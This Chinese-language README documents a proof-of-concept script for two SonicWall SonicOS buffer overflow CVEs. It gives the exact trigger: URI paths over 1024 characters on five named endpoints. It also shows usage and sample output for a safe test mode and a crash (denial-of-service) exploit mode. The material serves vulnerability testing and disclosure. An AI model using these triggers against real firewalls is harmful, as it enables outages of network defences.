
2022年3月24日,SonicWall发布了一份安全公告,内容如下:
SonicOS 中通过 HTTP 请求触发的基于栈的缓冲区溢出漏洞,允许远程未认证攻击者造成拒绝服务(DoS),甚至可能在防火墙上实现代码执行。
注意:此漏洞仅影响“网页管理”接口,SonicOS SSLVPN 接口不受影响。
2023年3月2日,SonicWall 发布了另一份类似的安全公告:
SonicOS 中存在的基于栈的缓冲区溢出漏洞允许远程未认证攻击者造成拒绝服务(DoS),可能导致受影响的防火墙崩溃。
注意:此漏洞仅影响“网页管理”接口,SonicOS SSLVPN 接口不受影响。
这两个问题都源于相同的脆弱代码模式,并使用相同的利用载荷,但在不同的 URI 路径上触发。
缓冲区溢出通过一个 URI 路径长度超过 1024 个字符的 HTTP 请求触发。CVE-2022-22274 可以在 /resources/ 或高级威胁防护 URI 路径(如果启用则为 /atp/,如果禁用则为 //)上利用。CVE-2023-0656 可以在 /stats/ 或 /Security_Services 上利用。
该仓库包含一个概念验证脚本,用于在所有四个 URI 路径上测试目标的可利用性。默认执行安全测试,但也能够触发漏洞并导致目标崩溃。
注意:在默认配置下,短时间内连续三次崩溃将导致 SonicOS 将设备重启至调试模式,并且在管理员将其恢复之前无法访问。请负责任地使用!
安装 Python 3 并运行 python -m pip install -y argparse。
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
测试一个易受攻击的目标:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
利用一个易受攻击的目标:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
测试并利用一个已修补的目标:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
本项目采用 GNU GPL 3.0 许可证。